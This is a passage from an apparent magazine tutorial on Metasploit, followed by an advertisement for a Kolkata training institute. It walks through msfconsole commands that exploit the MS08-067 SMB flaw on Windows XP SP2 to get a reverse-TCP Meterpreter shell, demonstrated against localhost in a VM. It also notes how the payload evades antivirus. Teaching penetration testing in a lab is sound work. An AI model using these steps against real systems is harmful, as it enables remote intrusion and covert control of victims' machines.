

their own extensions, in the form of DLL files, which can be uploaded and executed on the remote system. Thus, any programming language in which programs can be compiled into DLLs can be used to develop Meterpreter extensions.

However, the real beauty of the Meterpreter is that it runs by injecting itself into the vulnerable running process on the remote system, once exploitation occurs. All commands run through Meterpreter and also execute within the context of the running process. In this manner, it is able to avoid detection by anti-virus systems or basic forensic examinations.

Exploiting a Windows XP SP2 SMB vulnerability with Metasploit

Here are the steps to get a Meterpreter command shell using an SMB vulnerability of Windows XP service pack 2. This is a vulnerability which is exploitable because Port 445 is open (sometimes, even after switching the printer and file-sharing option off, Port 445 remains open), and that can be easily exploited by an attacker using MSF. Instead of getting a Meterpreter command shell, you can also get a reverse TCP shell of the system which is compromised by your attack. In the example given below, Windows XP SP2 is running, installed in a VirtualBox VM. Having installed MSF into the WinXP in the VM, this 'attack' is made on *localhost* (i.e., the same WinXP installed in the VM), to see if you can get a Meterpreter shell.

First, set the parameters for the attack. In the *msfconsole*, enter the following commands one by one.

This command selects the exploit:

```
msf>use windows/smb/ms08_067_netapi
```

The MSF mode changes, as indicated by the new prompt:

```
msf exploit(ms08_067_netapi) >
```

Supply the IP address of the 'victim'; use the local loop-back IP address, since you are performing this on *localhost*:

```
msf exploit(ms08_067_netapi) >set RHOST 127.0.0.1
```

Then, supply the IP of your source machine—use the same address, but if running this against another system on a network, you need to supply your system's IP address on that network, so the reverse TCP connection can be made to your system.

```
msf exploit(ms08_067_netapi) >set LHOST 127.0.0.1
```

Set the target as Windows XP SP2. (To view a list of targets, use the show targets command.)

```
msf exploit(ms08_067_netapi) >set TARGET 03
```

Set the payload to Meterpreter:

```
msf exploit(ms08_067_netapi) >set PAYLOAD windows/meterpreter/reverse_tcp
```

Finally, launch the exploit:

```
msf exploit(ms08_067_netapi) >exploit
```

After the exploit completes successfully, you get a Meterpreter shell, as shown in Figure 3.

That's all for now, but the journey does not end here; we will be back soon, with some more exciting topics. 

References

Metasploit Unleashed: Mastering the Framework Metasploit Toolkit (Syngress)

By: Mohan Singh and Nikhil Srivastava

The authors are Jaipur-based ethical hackers, with experience in information security. They recently published a full-page article in the regional newspaper *Rajasthan Patrika* (31st July 2010, p 13), detailing security loopholes found in state and central government websites, and the methods to patch them. You can contact Mohan Singh at mohansinghjaipur@gmail.com or +91-9785154007, and Nikhil Srivastava at mnrniks12@gmail.com or +91-9571713866.



RHCE / RHCSA Exam Centre

Open LDAP + RHDS + Active Directory

**Clustering
Shell Scripting
Solaris PHP-MySQL**

ORACLE

**MCTS / MCITP
Windows 2008 Server**

**RHCE & RHCSA
Training By RHCSA Faculty
Only at AEM in Kolkata**



Students Placed in :
Wipro, HP, IBM, TCS, Tripod
Comtel, Diadem, PCS, CMS, Redhat
& Many More...

AEM
Enriching Knowledge Horizon
ISO 9001:2000

North Kolkata :
2/80 Dum Dum Road
Ph. : 9830051236, 9830075018

South Kolkata :
7/1 Jadunath Sarka Road
Ph. : (033) 32518779, 9330925622

www.aemk.org